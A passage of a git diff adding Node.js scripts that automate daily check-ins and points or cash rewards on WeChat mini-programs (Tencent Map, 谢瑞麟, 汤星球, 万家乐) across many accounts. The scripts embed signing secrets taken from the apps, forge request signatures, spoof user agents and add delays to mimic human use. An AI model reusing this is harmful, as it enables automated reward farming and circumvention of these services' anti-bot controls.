this.log(`ℹ️ 开始石斛文章阅读,共 ${articleList.length} 篇文章, 计划阅读前 ${task.times} 篇`); + for (var i = 0; i < task.times; i++) { + var article = articleList[i]; + if (!article) break; + this.log(`ℹ️ 阅读文章 ${i + 1}/3:${article.articleTitle || "未知标题"}`); + await this.dendrobiumRead(article.articleUrl); + await $.wait(1000, 3000); + } + } else { + this.log("ℹ️ 没有可阅读的石斛文章"); + } + } else { + this.log(`ℹ️ 石斛任务:${task.taskName},已完成`); + } + } + } + } + + + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log("⚠️ 该微信号还没在甜润世界注册/激活会员,先在小程序里登录一次再跑"); + return; + } + this.log(`执行失败:${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/tslj.js b/wxapp/tslj.js new file mode 100644 index 00000000..0c380781 --- /dev/null +++ b/wxapp/tslj.js @@ -0,0 +1,199 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * * +------------------------------------------ +#Notice: +谢瑞麟 微信小程序 签到得积分 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:tslj +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("谢瑞麟小程序签到"); +const WeChatServer = require("./wcs.js"); +let ckName = `tslj`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wx439d0e0cc6742818', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.openid = null + this.isSign = false + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + this.token = 'Bearer ' + this.token + + await this.getUserInfo() + if (!this.isSign) await this.doSign() + } + async getUserToken(code) { + let options = { + method: 'POST', + url: `https://tslmember-crm.tslj.com.cn/api/auth/login`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + + "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249" + } + , + data: + { "code": code } + } + let { + data: result + } = await axios.request(options); + + if (result?.code == '0') { + this.token = result.data.user_info.token + this.openid = result.data.user_info.openid + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.msg}❌`) + } + } + async getUserInfo() { + let options = { + method: 'POST', + url: `https://tslmember-crm.tslj.com.cn/api/user/index`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token + "", + "content-type": "application/x-www-form-urlencoded", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "user-agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027' + }, + data: { "openid": this.openid } + } + let { + data: result + } = await axios.request(options); + if (result?.code == '0') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `[${result.data.mobile}] 积分[${result.data.integral}]🎉`); + for (let task of result.data.task_list) { + if (task.name == '每日签到') { + this.isSign = task.status + } + } + } else { + $.log(`🌸账号[${this.index}] 获取用户信息-失败:${result.msg}❌`) + } + } + + async doSign() { + let options = { + method: 'POST', + url: `https://tslmember-crm.tslj.com.cn/api/userSignIn/signIn`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token + "", + "content-type": "application/x-www-form-urlencoded", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site" + }, + data: { "openid": `${this.openid}` } + }; + let { + data: result + } = await axios.request(options); + if (result?.code == '0') { + //打印签到结果 + const { integral, total_days } = result?.data; + $.log(`签到成功, 已连续签到 ${total_days} 天, 获得 ${integral} 积分 🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`) + } + + + + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/wxapp/txdt.js b/wxapp/txdt.js new file mode 100644 index 00000000..67019363 --- /dev/null +++ b/wxapp/txdt.js @@ -0,0 +1,365 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: 腾讯地图 签到领现金/现金余额查询 +cron: 18 8 * * * +------------------------------------------ +变量名:txdt +变量值:wx_server 里的 openid,多账号用 & 或换行 + +也支持 JSON: +{"openid":"xxx"} + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("腾讯地图"); +const axios = require("axios"); +const crypto = require("crypto"); + +const CK_NAME = "txdt"; +const APP = { name: "腾讯地图", appid: "wx7643d5f831302ab0", version: 545 }; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const MINI_LOGIN_BASE = "https://miniapp.map.qq.com"; +const MAP_BASE = "https://mmapgwh.map.qq.com"; +const LOGIN_ACCESS_KEY = "1"; +const LOGIN_SECRET_KEY = "4300eec60bedec22a73408a0d76b03ec"; +const TMAP_SECRET = "3a9875e795c3ecff15f617085e72d4cc"; +const CHECKIN_TOKEN = "e643d512f085d621bf6c9e80310d0498"; +const ACTIVITY_ID = 1721983577; +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function short(value, max = 320) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function md5(value) { + return crypto.createHash("md5").update(String(value)).digest("hex"); +} + +function sha256(value) { + return crypto.createHash("sha256").update(String(value)).digest("hex"); +} + +function uuid() { + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (char) => { + const n = (Math.random() * 16) | 0; + return (char === "x" ? n : (n & 3) | 8).toString(16); + }); +} + +function sortedQuery(data) { + const normalized = {}; + Object.keys(data) + .sort() + .forEach((key) => { + if (data[key] !== undefined && data[key] !== null) normalized[key] = data[key]; + }); + return Object.keys(normalized) + .map((key) => `${key}=${normalized[key]}`) + .join("&"); +} + +function formatCoin(value) { + const num = Number(value || 0); + return `${num}(${(num / 100).toFixed(2)})`; +} + +function parseAccount(raw) { + const text = String(raw || "").trim(); + if (!text) return {}; + if (text.startsWith("{")) { + const data = JSON.parse(text); + return { raw: text, openid: data.openid || data.openId || "", remark: data.remark || data.name || "" }; + } + const [openid, remark] = text.split("#").map((item) => item.trim()); + return { raw: text, openid, remark }; +} + +async function request(options) { + const res = await axios.request({ + timeout: 20000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + Referer: `https://servicewechat.com/${APP.appid}/${APP.version}/page-frame.html`, + ...(options.headers || {}), + }, + }); + return { status: res.status, headers: res.headers || {}, data: res.data }; +} + +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth,无法从 wx_server 获取 code"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { auth: WX_AUTH, "content-type": "application/json" }, + data: { appid: APP.appid, openid }, + }); + const code = data?.data?.code || data?.code; + if (status !== 200 || !code) throw new Error(`获取code失败 HTTP ${status}: ${short(data)}`); + return code; +} + +function loginSign({ appId, sessionId = "-1", openId, userId, postBody }) { + const reqId = md5(`${Math.random()} ${Date.now()}`); + const reqTime = Date.now().toString().slice(0, 10); + const signParams = { + appId, + reqId, + reqTime, + userId, + openID: openId, + sessionID: sessionId, + accessKey: LOGIN_ACCESS_KEY, + businessStr: JSON.stringify(postBody), + }; + const signText = `${sortedQuery(signParams)}&secretKey=${LOGIN_SECRET_KEY}`; + const headers = { + "mapservice-sign-version": "v2", + "mapservice-sign": sha256(signText), + "mapservice-reqid": reqId, + "mapservice-reqtime": reqTime, + "mapservice-appid": appId, + "mapservice-accesskey": LOGIN_ACCESS_KEY, + "mapservice-sessionid": sessionId, + }; + if (sessionId && sessionId !== "-1") { + headers["mapservice-openid"] = openId; + headers["mapservice-userid"] = userId; + } + return headers; +} + +function mapH5Sign(apiPath, user) { + const reqId = uuid(); + const reqTime = Date.now(); + const normalizedPath = apiPath.split("?")[0]; + const signBase = `mapinst=0&mapnonce=0&reqid=${reqId}&reqtime=${reqTime}`; + const defaultSign = md5(`${signBase}${normalizedPath}0${TMAP_SECRET}`); + const headers = { + "tmap-reqid": reqId, + "tmap-reqtime": reqTime, + "tmap-userid": Number(user.user_id) || Number(user.userId) || 0, + "tmap-login-ssid": user.session_id || user.sessionId || 0, + "tmap-imei": 0, + "tmap-qimei": 0, + "tmap-qimei36": 0, + "tmap-nonce": 0, + "tmap-install-id": 0, + "tmap-sign": 0, + "tmap-default-sign": defaultSign, + "tmap-app-version": 0, + "tmap-channel": 0, + "tmap-engine": "web", + "tmap-mini-login-ssid": user.map_session_id || user.mapSessionId || "", + "tmap-app-id": user.appId || APP.appid, + }; + if (user.openid || user.openId) headers["tmap-openid"] = user.openid || user.openId; + return headers; +} + +function checkinHeader(user) { + const requestId = uuid(); + const timestamp = Math.floor(Date.now() / 1000); + const signText = `request_id=${requestId}&from_source=${APP.appid}×tamp=${timestamp}&token=${CHECKIN_TOKEN}`; + return { + user_id: user.openid || user.openId, + from_source: APP.appid, + request_id: requestId, + timestamp, + sign: sha256(signText).toUpperCase(), + }; +} + +class TencentMap { + constructor(rawAccount, index) { + this.index = index; + this.account = parseAccount(rawAccount); + this.loginInfo = {}; + this.userInfo = {}; + } + + async miniLogin() { + if (!this.account.openid) throw new Error("账号格式错误,请配置 wx_server 里的 openid"); + const code = await getWxCode(this.account.openid); + const body = { + seqid: uuid(), + app_id: APP.appid, + auth_code: code, + devHeader: {}, + }; + const { status, data } = await request({ + method: "POST", + url: `${MINI_LOGIN_BASE}/minLogin/v2/login`, + headers: { + "content-type": "application/json", + ...loginSign({ appId: APP.appid, postBody: body }), + }, + data: body, + }); + if (status !== 200 || Number(data?.err_code) !== 0) throw new Error(`登录失败 HTTP ${status}: ${short(data)}`); + this.loginInfo = { ...data, appId: APP.appid }; + $.log(`登录:成功 userId=${data.user_id || "未知"},openid=${data.openid || "未知"}`); + } + + async queryUser() { + const user = this.loginInfo; + const body = { + seqid: uuid(), + app_id: APP.appid, + userId: user.user_id, + openId: user.openid, + source: "mini-tencentmap", + }; + const { status, data } = await request({ + method: "POST", + url: `${MINI_LOGIN_BASE}/minLogin/v2/getUserInfo`, + headers: { + "content-type": "application/json", + ...loginSign({ + appId: APP.appid, + sessionId: user.session_id, + userId: user.user_id, + openId: user.openid, + postBody: body, + }), + }, + data: body, + }); + if (status !== 200 || Number(data?.err_code) !== 0) { + $.log(`用户信息:查询失败 HTTP ${status}: ${short(data)}`); + return; + } + this.userInfo = data || {}; + $.log(`用户信息:${data.nickname || "微信用户"},userId=${data.userid || user.user_id}`); + } + + async mapApi(apiPath, data) { + const { status, data: body } = await request({ + method: "POST", + url: `${MAP_BASE}${apiPath}`, + headers: { + "content-type": "application/json", + ...checkinHeader(this.loginInfo), + ...mapH5Sign(apiPath, this.loginInfo), + }, + data, + }); + if (status !== 200 || Number(body?.code) !== 0) throw new Error(`${apiPath} HTTP ${status}: ${short(body)}`); + return body.data || {}; + } + + async queryBalance(prefix = "现金余额") { + const data = await this.mapApi("/activity/v1/withdraw/home", { + activity_id: ACTIVITY_ID, + game_id: 4, + rule_id: "tencent_map_withdraw", + }); + $.log( + `${prefix}:金币=${formatCoin(data.coins)},可提现=${formatCoin(data.withdrawable_amount)},门槛=${formatCoin(data.current_withdraw_threshold)},奖池=${formatCoin(data.jackpot_amount)}` + ); + return data; + } + + async queryAssets() { + const data = await this.mapApi("/activity/v1/assert/home", { activity_id: ACTIVITY_ID }); + $.log( + `资产信息:金币=${formatCoin(data.coins)},优惠券=${data.coupons_total || 0},抽奖券=${data.lottery_ticket_total || 0}` + ); + return data; + } + + todayKey() { + const now = new Date(); + const year = now.getFullYear(); + const month = `${now.getMonth() + 1}`.padStart(2, "0"); + const day = `${now.getDate()}`.padStart(2, "0"); + return `${year}${month}${day}`; + } + + async queryCalendar(prefix = "签到状态") { + const data = await this.mapApi("/activity/v1/checkin/calendar", { + activity_id: ACTIVITY_ID, + game_id: 1, + rule_id: "tencent_map_checkin", + }); + const today = data.calendar?.[this.todayKey()] || {}; + const prizes = Array.isArray(today.prizes) + ? today.prizes.map((item) => `${item.name || item.type || "奖励"}:${item.amount ?? ""}`).join(",") + : ""; + $.log(`${prefix}:今日${today.checkin ? "已签" : "未签"},周期已签=${data.checkin_days || 0}/${data.period || 0}${prizes ? `,奖励=${prizes}` : ""}`); + return { data, today }; + } + + async checkin() { + const { today } = await this.queryCalendar("签到前"); + if (today.checkin) { + $.log("签到:今日已签到"); + return; + } + const data = await this.mapApi("/activity/v1/checkin", { + activity_id: ACTIVITY_ID, + game_id: 1, + rule_id: "tencent_map_checkin", + nick: this.userInfo.nickname || "微信用户", + }); + const prizes = Array.isArray(data.prizes) + ? data.prizes.map((item) => `${item.name || item.type || "奖励"}:${item.amount ?? ""}`).join(",") + : short(data); + $.log(`签到:成功${prizes ? `,${prizes}` : ""}`); + } + + async run() { + $.log(`\n========== ${APP.name} 账号[${this.index}] ${this.account.remark || this.account.openid} ==========`); + await this.miniLogin(); + await this.queryUser(); + await this.queryBalance("签到前现金余额"); + await this.queryAssets(); + await this.checkin(); + await this.queryBalance("签到后现金余额"); + await this.queryCalendar("签到后"); + } +} + +(async () => { + const accounts = splitAccounts(process.env[CK_NAME] || process.env.tencentmap || process.env.wx_openid || ""); + if (!accounts.length) { + $.log(`未配置 ${CK_NAME}`); + await $.done(); + return; + } + $.log(`共找到${accounts.length}个账号`); + for (let i = 0; i < accounts.length; i++) { + const runner = new TencentMap(accounts[i], i + 1); + try { + await runner.run(); + } catch (e) { + $.log(`账号[${i + 1}] 执行失败:${e.message || e}`); + } + await $.wait(800); + } + await $.done(); +})().catch(async (e) => { + $.log(`脚本异常:${e.stack || e.message || e}`); + await $.done(); +}); diff --git a/wxapp/txq.js b/wxapp/txq.js new file mode 100644 index 00000000..ae3bebc2 --- /dev/null +++ b/wxapp/txq.js @@ -0,0 +1,261 @@ +/* +------------------------------------------ +@Description: 汤星球 - 微信小程序静默登录 + 每日签到 +cron: 47 8 * * * +------------------------------------------ +变量名:txq +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx9bb6d5ac457bd69d,host vip.by-health.com,base /vip-api): + +信封是两层的:{success, data:{rspCode, rspMsg, result}} —— 业务码在 data.rspCode, +成功是字符串 "00",不是 0 也不是 200。判定/取值一律要先下钻到 res.data。 + +登录 POST /vip-api/auth/ma/login {appId:<本包 appid>, code} + -> data.result.{token, registerFlag, unionId} + registerFlag 0 = 这个微信号还没在汤星球注册成会员(登录本身照样发 token) + 之后所有请求带请求头 Authorization: (裸 token,不加 Bearer) + +签到不在小程序里,在 web-view 的 H5 里(小程序侧只有 ne.navigate("/signIn")): + 宿主 https://vip.by-health.com/web/vip-center-h5/#/signIn + H5 bundle 是公开静态资源,端点从 assets/index-*.js 的 signIn 分块里取, + 与小程序共用同一个 token 和同一个 /vip-api 前缀。 + +状态 POST /vip-api/sign/activity/detail {} ← 空 body,activityId 就是从这里发现的 + -> data.result.{activityId, signFlag, ...};signFlag 真 = 今天已经签过 + 小程序主包里的 /check/* 那套是「社区打卡」,不是每日签到,别拿它当签到用 +签到 POST /vip-api/sign/daily/create {activityId} + -> data.result.{accumulateDay, rewardType, undrawnFlag} +日历 POST /vip-api/sign/activity/calender {startDate,endDate,activityId}(只读,未用) + +同模块还有 /sign/daily/draw、/sign/daily/raffle(签到抽奖/领奖)——按规则不做,本脚本只签到。 +未注册时 detail/create 都回 rspCode="REGISTER_REQUIRED" rspMsg="请先注册成为会员", +这不是脚本缺陷:要先在小程序里注册一次会员(要手机号),注册后同一段代码即可签到。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("汤星球"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "txq"; +const MINI_APP_ID = "wx9bb6d5ac457bd69d"; +const BASE = "https://vip.by-health.com/vip-api"; +const H5_REFERER = "https://vip.by-health.com/web/vip-center-h5/"; +const TOKEN_CACHE_FILE = path.join(__dirname, "txq_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/auth/ma/login"; +const EP_SIGN_DETAIL = "/sign/activity/detail"; +const EP_SIGN_CREATE = "/sign/daily/create"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +/** 业务层永远在 res.data 里 */ +const bodyOf = (res) => (res && res.data) || {}; +const isOk = (res) => String(bodyOf(res).rspCode) === "00"; +const resultOf = (res) => bodyOf(res).result || {}; +const msgOf = (res) => bodyOf(res).rspMsg || bodyOf(res).rspCode || short(res); +const codeOf = (res) => String(bodyOf(res).rspCode || ""); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (res) => + /UNAUTHORIZED|TOKEN/i.test(codeOf(res)) || /登录|未授权|未登录|失效|过期|重新/.test(msgOf(res)); +/** 账号态:这个微信号还没在汤星球注册会员 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (res) => + /REGISTER_REQUIRED|NOT_REGIST/i.test(codeOf(res)) || /未注册|请先注册|未成为会员/.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.registerFlag = null; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = {}, withAuth = true) { + const headers = { + "Content-Type": "application/json;charset=utf-8", + Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + Referer: H5_REFERER, + xweb_xhr: "1", + }; + if (withAuth && this.token) headers.Authorization = this.token; + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data: body, + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { appId: MINI_APP_ID, code }, false); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const r = resultOf(res); + this.token = String(r.token || ""); + this.registerFlag = r.registerFlag === undefined ? null : Number(r.registerFlag); + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.registerFlag === 0 ? "(会员未注册)" : ""}`); + } + + /** 读签到活动详情:既验证会话,又发现 activityId 和今日是否签过 */ + async signDetail(needLog = true) { + const res = await this.request(EP_SIGN_DETAIL, {}); + if (!isOk(res)) { + if (isNotRegistered(res)) return { notRegistered: true, msg: msgOf(res) }; + if (needLog) this.log(`读取签到活动失败: ${msgOf(res)}`); + return isAuthError(res) ? null : { failed: true, msg: msgOf(res) }; + } + const r = resultOf(res); + return { + activityId: r.activityId, + signed: !!r.signFlag, + accumulateDay: r.accumulateDay ?? r.continuousDay, + remainingDay: r.remainingDay, + }; + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + const probe = await this.signDetail(false); + if (probe !== null) { + this.log("使用缓存token"); + return probe; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + return null; + } + + async sign(detail) { + if (detail === null || detail === undefined) detail = await this.signDetail(); + if (detail === null) { + this.log("❌ 会话无效,签到跳过"); + return; + } + if (detail.notRegistered) { + this.log(`⚠️ ${detail.msg} —— 该微信号还没在汤星球注册会员(注册要手机号),先在小程序里注册一次再跑`); + return; + } + if (detail.failed) { + this.log(`❌ 读取签到活动失败: ${detail.msg}`); + return; + } + if (!detail.activityId) { + this.log("❌ 签到活动详情里没有 activityId(活动可能未开始或已结束),不猜 id"); + return; + } + if (detail.signed) { + this.log(`✅ 今日已签到(活动 ${detail.activityId}${detail.accumulateDay ? `,累计 ${detail.accumulateDay} 天` : ""})`); + return; + } + const res = await this.request(EP_SIGN_CREATE, { activityId: detail.activityId }); + if (isOk(res)) { + const r = resultOf(res); + const days = r.accumulateDay ?? r.continuousDay; + this.log(`✅ 签到成功${days ? `,累计 ${days} 天` : ""}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(res)) { + this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在汤星球注册会员(注册要手机号),先在小程序里注册一次再跑`); + return; + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + const detail = await this.ensureLogin(); + await this.sign(detail); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/wanjiale.js b/wxapp/wanjiale.js new file mode 100644 index 00000000..f3abcd20 --- /dev/null +++ b/wxapp/wanjiale.js @@ -0,0 +1,259 @@ +/* +------------------------------------------ +@Description: 万家乐会员俱乐部 - 微信小程序静默登录 + 每日签到 +cron: 36 8 * * * +------------------------------------------ +变量名:wanjiale +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx07b7a339bb2cf065,host wakecloud.chinamacro.com): + +信封 {code, msg, data, success},**成功码是 100**(不是 0 不是 200)。 + +登录 POST /wd-member/member/login + {code, tenantId:473, appBuId:2065, wxAppId:, i3rdSystemCode:"CSP2.0"} + 三个租户常量取自解包 app-config.json 的 ext: + {"maAppName":"万家乐会员俱乐部","tenantId":473,"appBuId":2065,"maAppId":"wx07b7a339bb2cf065"} + 源码里还传了 loginType(=platform),实测**可省**,服务端自己填 0 + -> data.loginInfo.sessionId(注意:data.sessionId 是 null,真值在 loginInfo 里) + 服务端**不下 Set-Cookie**,要自己把它拼成请求头 Cookie: sessionId=<...> + data.memberInfo / loginInfo.userId / loginInfo.phone 为 null = 这个微信号还没注册会员 + +状态 GET /wd-member/app/member/checkSigned -> data 布尔(true=今天签过了) +会员 GET /wd-member/app/member/detail -> 未注册会员时回 {code:130004,"查询不到指定的会员信息"} +签到 GET /wd-member/app/member/sign -> data 是获得的积分数 + **没有会员档案时它回的是 {code:105,"系统繁忙,请稍后再试"}** —— 这是后端的兜底文案, + 不是真的忙,所以本脚本先查 member/detail,用 130004 把原因翻译成人话。 + +不做:/mtool/app/luckywheel/draw(抽奖,采集来的脚本一天抽 3 次,按规则不做); + /mtool/app/sign/* 是另一套活动签到系统,会员俱乐部页面用的是 member/sign。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("万家乐会员俱乐部"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "wanjiale"; +const MINI_APP_ID = "wx07b7a339bb2cf065"; +const BASE = "https://wakecloud.chinamacro.com"; +const TENANT_ID = 473; +const APP_BU_ID = 2065; +const TOKEN_CACHE_FILE = path.join(__dirname, "wanjiale_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/wd-member/member/login"; +const EP_CHECK_SIGNED = "/wd-member/app/member/checkSigned"; +const EP_MEMBER = "/wd-member/app/member/detail"; +const EP_SIGN = "/wd-member/app/member/sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? 